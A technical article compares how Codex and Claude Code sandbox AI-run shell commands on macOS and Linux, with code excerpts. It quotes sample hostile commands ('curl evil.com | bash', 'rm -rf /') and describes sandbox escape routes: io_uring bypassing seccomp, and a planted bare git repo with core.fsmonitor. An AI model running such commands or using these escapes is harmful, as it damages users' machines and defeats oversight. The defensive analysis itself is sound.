When an LLM decides to run rm -rf / on your behalf, what stops it?
Both Codex and Claude Code let an AI model execute shell commands on your machine. The model reads your code, decides what to do, and runs the command for you. That is also the risk. A language model that can run npm install can also run curl evil.com | bash. A model that can write to your source directory can also write to your SSH keys.
Both systems arrived at the same answer: OS-level process sandboxing. Both reached for the same OS primitives. But they embedded those primitives in different trust architectures. Codex treats sandboxing as a mandatory containment boundary, sandbox-first by default, though the manager can resolve to no sandbox when the policy does not require enforcement. Claude Code treats it as a configurable isolation layer that the developer can tune, relax, or override per command.
This article walks through the complete sandbox flow in both systems, from the moment the LLM emits a shell command to the moment the result comes back.
1. Background: The OS Primitives
If you have used Docker, you have already used some of these primitives indirectly. Docker containers use Linux namespaces (the same mechanism bubblewrap uses) to isolate processes. The concepts below are the lower-level building blocks that both Docker and these sandboxing systems build on.
Bubblewrap: filesystem isolation on Linux
Bubblewrap (bwrap) creates a fake view of the filesystem for a process: a read-only copy of your hard drive where only certain folders are writable.
It does this by creating Linux namespaces, isolated environments for different system resources. A mount namespace gives the process its own filesystem view. A PID namespace hides other processes. A network namespace isolates the process from the host network stack. A user namespace prevents privilege escalation.
Flags that both systems use:
--ro-bind / /mounts the entire host filesystem as read-only inside the sandbox.--bindre-mounts a specific path as writable on top of the read-only base.--unshare-netcreates a fresh network namespace, isolating the process from the host network.--tmpfsmounts an empty temporary filesystem, hiding whatever was at that path.--dev /devand--proc /procprovide minimal device nodes and process information.
Both Codex and Claude Code invoke the same bwrap binary. Codex builds its argument list in Rust. Claude Code builds it in TypeScript.
Seccomp/BPF: syscall filtering on Linux
If bubblewrap controls what a process can see, seccomp controls what a process can do. Seccomp (Secure Computing) installs a BPF (Berkeley Packet Filter) program in the kernel that intercepts every system call the process makes. If the syscall matches a blocked rule, the kernel returns EPERM before the operation executes. A firewall for system calls instead of network ports.
Both systems block the same critical syscalls:
io_uring_setup,io_uring_enter,io_uring_register: Linux's io_uring subsystem can perform operations (including creating sockets) in kernel context without going through thesocket()syscall. A process could bypass seccomp's socket-blocking rules entirely. Both teams independently identified this evasion vector and block all three io_uring syscalls.socket()with conditional filtering: Rather than blocking all sockets, both systems use BPF argument inspection to filter by address family, but the direction depends on the network mode. Codex in restricted mode allows onlyAF_UNIX(local IPC) while blockingAF_INET/AF_INET6(network). In proxy-routed mode, Codex reverses this: allowsAF_INET/AF_INET6(so traffic can reach the local TCP bridge to the proxy) while blockingAF_UNIX(preventing bypass of the proxy). Claude Code's seccomp filter follows the proxy-routed pattern: blocksAF_UNIXand allowsAF_INET/AF_INET6, routing all traffic through its socat TCP bridge.
Before installing a seccomp filter, the process must call prctl(PR_SET_NO_NEW_PRIVS) to ensure it cannot regain privileges through setuid binaries. Codex compiles its BPF program via the seccompiler crate in Rust. Claude Code uses a precompiled C binary (apply-seccomp) built with libseccomp.
Seatbelt: kernel-level sandboxing on macOS
macOS has its own sandboxing system called Seatbelt. It works at the kernel level through the TrustedBSD mandatory access control framework: once a policy is applied to a process, every file open, network connection, process spawn, and IPC operation is checked against the policy before the kernel allows it. There is no userspace hook to intercept or bypass. The policy language is SBPL (Sandbox Profile Language), a DSL with Scheme-like syntax where you declare what a process is allowed to do and the kernel denies everything else. You invoke sandbox-exec -p to run a command under a given profile.
Apple deprecated sandbox-exec in macOS 10.15, but the underlying kernel enforcement is still active and widely used. Chromium, VS Code, and both systems in this article rely on it in production.
Every Seatbelt policy in both systems starts the same way:
(version 1)
(deny default)This means: deny everything by default. Then the policy adds explicit allowances:
(allow file-read* (subpath "/usr")) ; read system libraries
(allow file-write* (subpath "/workspace")) ; write to workspace
(allow network-outbound (remote ip "localhost:3128")) ; proxy onlyBoth systems use the -D KEY=VALUE parameterization pattern to inject paths into the SBPL template, avoiding path injection vulnerabilities. Codex assembles its SBPL profiles in Rust. Claude Code assembles them in TypeScript.
2. The Two Architectures at a Glance
| Dimension | Codex | Claude Code |
|---|---|---|
| Default posture | Sandbox-first, always evaluated, but may resolve to no sandbox | Opt-in, sandbox is configurable |
| Policy granularity | 4-variant Rust enum (SandboxPolicy) |
5-layer JSON settings merge |
| Scope | Session/turn, all commands share policy | Per-command, each command is evaluated |
| When active | Always, when policy requires it | When enabled + not excluded |
| On block | Escalation protocol → user approval dialog | Violation logged → surfaced in REPL |
| Platform support | macOS, Linux, Windows | macOS, Linux |
The analogy for web developers: Codex is like a mandatory Content-Security-Policy header where the server enforces it and the client cannot opt out. Claude Code is like a configurable CSP that the developer can relax per request when they know what they are doing.
flowchart LR
subgraph Codex["Codex"]
C1["LLM emits tool call"] --> C2["SandboxPolicy\nenum evaluated"]
C2 --> C3["should_require_\nplatform_sandbox()?"]
C3 --> C4["SandboxManager\n::transform()"]
C4 --> C5["Rewritten argv\nexecuted"]
C5 --> C6{"Blocked?"}
C6 -->|yes| C7["EscalateRequest\n→ user approval"]
C6 -->|no| C8["Result returned"]
C7 --> C8
end
subgraph CC["Claude Code"]
Q1["LLM emits tool call"] --> Q2["shouldUseSandbox()"]
Q2 -->|yes| Q3["SandboxManager\n.wrapWithSandbox()"]
Q2 -->|no| Q4["Execute directly"]
Q3 --> Q5["Wrapped command\nexecuted"]
Q5 --> Q6["cleanupAfterCommand()"]
Q4 --> Q7["Result returned"]
Q6 --> Q7
end3. End-to-End Walkthrough: Codex
Stage 1: Policy selection
Every Codex session starts with a SandboxPolicy, a Rust enum with four variants that describes what the user intends to permit:
DangerFullAccess: No restrictions. The command runs unsandboxed. This variant exists so the type system forces every code path to handle the "no sandbox" case explicitly.ReadOnly: Read-only filesystem access. Carries anaccessfield (full-disk or restricted to specific roots) and anetwork_accessboolean.WorkspaceWrite: The workspace is writable, plus optionally additionalwritable_roots. Also carries read-only access settings, network access, and temp directory exclusion flags.ExternalSandbox: The process is already inside an external sandbox (like a container). Codex skips its own sandboxing but still enforces network policy.
Filesystem and network access are modeled as independent dimensions (FileSystemSandboxPolicy and NetworkSandboxPolicy) so the system can express "writable filesystem with no network" or "read-only filesystem with proxy-routed network" without a combinatorial explosion.
pub enum SandboxPolicy {
DangerFullAccess,
ReadOnly {
access: ReadOnlyAccess,
network_access: bool,
},
ExternalSandbox {
network_access: NetworkAccess,
},
WorkspaceWrite {
writable_roots: Vec<AbsolutePathBuf>,
read_only_access: ReadOnlyAccess,
network_access: bool,
exclude_tmpdir_env_var: bool,
exclude_slash_tmp: bool,
},
}The Rust compiler enforces exhaustive matching. Every code path that touches sandbox policy must handle all four variants.
Stage 2: Backend selection
SandboxManager::select_initial() decides whether a platform sandbox is needed and which backend to use. It evaluates policy semantics through should_require_platform_sandbox():
- Managed network requirements active → always sandbox.
- Network restricted and filesystem is not
ExternalSandbox→ sandbox. - Filesystem
Restrictedwith less than full disk write → sandbox. - Filesystem
UnrestrictedorExternalSandbox→ no sandbox needed.
The caller can override with SandboxablePreference: Auto (use the decision logic), Require (always sandbox), or Forbid (never sandbox). Once the manager decides a sandbox is needed, get_platform_sandbox() selects the backend: MacosSeatbelt on macOS, LinuxSeccomp on Linux, WindowsRestrictedToken on Windows.
Stage 3: Command transformation
SandboxManager::transform() rewrites the command's argv into a sandboxed invocation:
- macOS: The original command becomes arguments to
/usr/bin/sandbox-exec -p. - Linux: The original command becomes trailing arguments to the
codex-linux-sandboxhelper binary, which orchestrates bubblewrap and seccomp. - Windows: The command passes through mostly unchanged. Windows enforcement happens at the process token level via
CreateRestrictedToken.
Stage 4: OS enforcement
On Linux, enforcement uses a three-stage pipeline:
- Outer stage: The helper binary parses the policy, prepares the proxy routing bridge if needed, and invokes bubblewrap.
- Bubblewrap stage: Creates the filesystem namespace with layered mounts. Read-only root, then device nodes, then writable roots, then protected subpath carve-outs.
- Inner stage: Re-enters the helper binary inside the sandbox. Sets
PR_SET_NO_NEW_PRIVS, installs the seccomp BPF filter (blockingptrace,io_uring_*, and conditional socket filtering), activates proxy routing, andexecvp()into the final command.
On macOS, the base Seatbelt policy starts with (deny default) and then adds allowances for process execution, filesystem access, and network proxy ports.
Stage 5: Escalation on block
When a sandboxed command hits a blocked operation, the runtime intercepts the blocked execve() call through a patched shell and emits an EscalateRequest containing the command, argv, working directory, and environment. This request flows through the typed protocol to the user-facing surface, which presents an approval dialog.
The user chooses from three outcomes via EscalateAction: Run (execute directly), Escalate (re-execute with broader permissions, unsandboxed, with turn defaults, or with custom permissions), or Deny (block and report reason).
4. End-to-End Walkthrough: Claude Code
Stage 1: Configuration merge
Claude Code's sandbox configuration is assembled from up to five sources, merged in strict priority order:
- policySettings (highest): Enterprise-managed policy via MDM. Cannot be overridden.
- flagSettings: Settings from the
--settingsCLI flag. - localSettings:
.claude/settings.local.json(gitignored, per-developer overrides). - projectSettings:
.claude/settings.jsonin the workspace (shared, committed). - userSettings (lowest):
~/.claude/settings.json(global user defaults).
The merged sandbox configuration has enablement flags directly at the top level (sandbox.enabled, sandbox.failIfUnavailable, sandbox.allowUnsandboxedCommands) and two nested sub-sections: sandbox.filesystem (four path lists: allowWrite, denyWrite, denyRead, allowRead) and sandbox.network (domain allowlists, proxy ports, Unix socket control).
Stage 2: Per-command gate
Every time the LLM's BashTool is about to execute a command, shouldUseSandbox() evaluates whether that specific command should be sandboxed:
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
if (!SandboxManager.isSandboxingEnabled()) return false
if (input.dangerouslyDisableSandbox &&
SandboxManager.areUnsandboxedCommandsAllowed()) return false
if (!input.command) return false
if (containsExcludedCommand(input.command)) return false
return true
}Three things can cause a command to skip the sandbox:
- Sandboxing is globally disabled:
sandbox.enabledisfalse. - The LLM sets
dangerouslyDisableSandbox: true: But only if enterprise policy permits it. WhenallowUnsandboxedCommandsisfalse, this flag is silently ignored. - The command matches an excluded pattern:
containsExcludedCommand()splits compound commands (cmd1 && cmd2) and checks each subcommand against user-configured patterns. This splitting prevents a bypass wheredocker ps && curl evil.comwould escape the sandbox becausedockeris excluded.
Stage 3: Command wrapping
SandboxManager.wrapWithSandbox() transforms the shell command into a sandboxed invocation, dispatching to platform-specific backends on macOS and Linux.
The filesystem configuration uses four path lists with deny-takes-precedence semantics. Permission-system paths flow into the sandbox automatically: Edit tool targets become allowWrite, Read tool targets become allowRead. Certain paths are always denied: .claude/settings.json, .claude/settings.local.json (prevents sandbox escape via config modification), and .claude/skills (prevents injection of privileged commands).
Stage 4: OS enforcement
On macOS, the sandbox runtime generates a Seatbelt profile dynamically starting with (deny default (with message ". The log tag is a base64-encoded command identifier that enables violation tracking. The runtime also uses ripgrep to scan for dangerous files (.gitconfig, .bashrc, .git/hooks) and always write-denies them.
On Linux, enforcement uses bubblewrap for filesystem isolation plus a precompiled seccomp BPF binary (apply-seccomp) for syscall filtering. Network proxy routing uses socat bridges through Unix domain sockets.
Stage 5: Post-execution cleanup
After every sandboxed command, cleanupAfterCommand() runs security-critical operations:
Bare git repo scrubbing: Git's is_git_directory() treats the CWD as a bare repository if it contains HEAD, objects/, and refs/. A sandboxed command that plants these files could cause an unsandboxed git invocation (like Claude Code's own git operations) to treat the workspace as a bare repo. Combined with core.fsmonitor in a planted config file, this becomes a sandbox escape. The cleanup scrubs five specific patterns: HEAD, objects, refs, hooks, and config.
Bubblewrap ghost file removal on Linux and violation extraction from macOS log stream and stderr tags. All violations feed into the SandboxViolationStore, an in-memory ring buffer (100 entries) with a reactive subscription API.
5. Where They Use the Same Primitives
Both teams independently identified similar OS-level tools as building blocks for AI agent sandboxing, and both identified the same evasion vectors to defend against. The Linux containment models differ materially: Codex combines bubblewrap with shell-escalation plumbing, while Claude Code adds proxy-mediated domain filtering and optional seccomp loading.
Seatbelt SBPL generation
Both systems start from (deny default) and build up an allowlist. Both use -D KEY=VALUE parameterization to inject paths safely. Both reference Chrome's sandbox policy as inspiration.
Bubblewrap mount ordering
Both systems mount the host root as the base filesystem, then layer restrictions on top. Codex uses --bind / / (read-write root) and overlays read-only restrictions. Claude Code uses --ro-bind / / (read-only root) when write restrictions are configured, or --bind / / when they are not. Both use --unshare-net for network isolation.
Seccomp io_uring blocking
Both systems block the same three syscalls (io_uring_setup, io_uring_enter, io_uring_register) for the same reason. Linux 5.19 added IORING_OP_SOCKET, which creates sockets in kernel context bypassing seccomp. Both teams independently identified this:
Codex (Rust):
deny_syscall(&mut rules, libc::SYS_ptrace);
deny_syscall(&mut rules, libc::SYS_io_uring_setup);
deny_syscall(&mut rules, libc::SYS_io_uring_enter);
deny_syscall(&mut rules, libc::SYS_io_uring_register);Claude Code (C):
/* Block io_uring entirely. IORING_OP_SOCKET (Linux 5.19+) creates sockets
* in kernel context without going through the socket() syscall, bypassing
* the rule above. */
int io_uring_calls[] = {
SCMP_SYS(io_uring_setup),
SCMP_SYS(io_uring_enter),
SCMP_SYS(io_uring_register),
};Network proxy bridge
Both systems use Unix domain socket bridges to route sandboxed network traffic through a managed proxy. On the host side, a bridge process listens on a Unix socket and forwards to the actual proxy TCP port. Inside the sandbox, a reverse bridge forwards to the Unix socket. Codex implements this in Rust. Claude Code uses socat processes.
flowchart TB
subgraph shared["Shared OS Primitives"]
bwrap["bubblewrap\n(filesystem namespaces)"]
seccomp["seccomp BPF\n(syscall filtering)"]
proxy["Unix socket bridge\n(proxy routing)"]
end
subgraph codex_impl["Codex Implementation"]
ch["Rust helper binary\n(codex-linux-sandbox)"]
ch --> bwrap
ch --> seccomp
ch --> proxy
end
subgraph cc_impl["Claude Code Implementation"]
sr["sandbox-runtime\n(Node.js + TypeScript)"]
as["apply-seccomp\n(compiled C binary)"]
sc["socat bridges\n(shell processes)"]
sr --> bwrap
as --> seccomp
sc --> proxy
end6. Where They Diverge
Mandatory vs. opt-in
Codex's sandbox is sandbox-first: should_require_platform_sandbox() is always evaluated, no per-command opt-out. The manager can resolve to SandboxType::None when policy semantics do not require enforcement.
Claude Code's sandbox is configurable at every level: per project (sandbox.enabled), per command (dangerouslyDisableSandbox), and per command pattern (excludedCommands).
Tradeoff: Codex optimizes for guaranteed containment. Claude Code optimizes for developer control.
Session-level vs. per-command scope
Codex selects the sandbox type once per session or turn. All commands share the same restrictions.
Claude Code evaluates shouldUseSandbox() for every BashTool invocation. Each command can have different sandbox behavior.
Tradeoff: Codex optimizes for consistency. Claude Code optimizes for granularity.
Escalation vs. transparency
When Codex's sandbox blocks a command, the runtime creates an EscalateRequest and routes it through a structured approval protocol. The user sees a decision point.
When Claude Code's sandbox blocks a command, the violation is logged, stored in SandboxViolationStore, and surfaced in the REPL. The developer sees exactly what was blocked.
Tradeoff: Codex optimizes for a closed trust loop. Claude Code optimizes for visibility.
Network control mechanism
Codex enforces at the kernel level through seccomp BPF socket filtering. Claude Code enforces at the application level through a domain-based proxy allowlist.
Tradeoff: Codex is harder to bypass. Claude Code allows richer domain-level decisions.
Post-execution hardening
Codex does not perform post-execution cleanup. Containment is assumed sufficient. Claude Code runs cleanupAfterCommand() after every sandboxed command, scrubbing bare repo markers and extracting violations.
Tradeoff: Codex trusts in containment. Claude Code adds defense in depth.
| Dimension | Codex | Claude Code |
|---|---|---|
| When active | Always (policy-driven) | Opt-in (settings-driven) |
| Scope | Session/turn | Per-command |
| On block | Escalation protocol | Violation transparency |
| Policy format | Rust enum (4 variants) | JSON (5-layer merge) |
| Network control | Kernel-level syscall filter | App-level domain allowlist |
| Post-execution | None | Bare repo scrub + ghost cleanup |
7. Enterprise and Lockdown
Claude Code: explicit enterprise controls
Because Claude Code's sandbox is opt-in by default, enterprise deployments need explicit lockdown:
allowManagedDomainsOnly: Only enterprise-configured domains are respected.allowManagedReadPathsOnly: Same for filesystem read paths.allowUnsandboxedCommands: false: Silently ignores thedangerouslyDisableSandboxflag.failIfUnavailable: Refuse to execute if sandbox cannot be engaged.enabledPlatforms: Restrict sandbox to specific platforms.
The policySettings layer is the highest-priority merge layer. Nothing below it can override it.
Codex: implicit enterprise model
Codex does not need lockdown flags because its default is already strict. The enterprise controls are structural: SandboxablePreference::Require forces sandboxing, and the Windows backend rejects permissive policies. Execution policies via requirements.toml and MDM/cloud-backed ConfigRequirements provide per-command allow/deny rules.
8. Why They Sandbox Differently
Three forces explain the divergence.
Product context. Codex is a multi-surface runtime designed to be embedded in different clients (CLI, IDE extensions, desktop app, cloud backends). Mandatory sandboxing protects all surfaces uniformly. Claude Code is an integrated developer tool where the user directly controls the environment. Configurability matches the single-surface model.
Trust philosophy. Codex places trust in the runtime's approval protocol. Claude Code places trust in the developer's ability to observe and adjust.
Both systems achieve the same security goal: preventing an LLM from executing arbitrary operations on the developer's machine. They use similar OS-level primitives. They differ in where they place the control surface. Codex places it inside the runtime, enforced by typed contracts and an escalation protocol. Claude Code places it in front of the developer, configured through layered settings and made visible through violation tracking.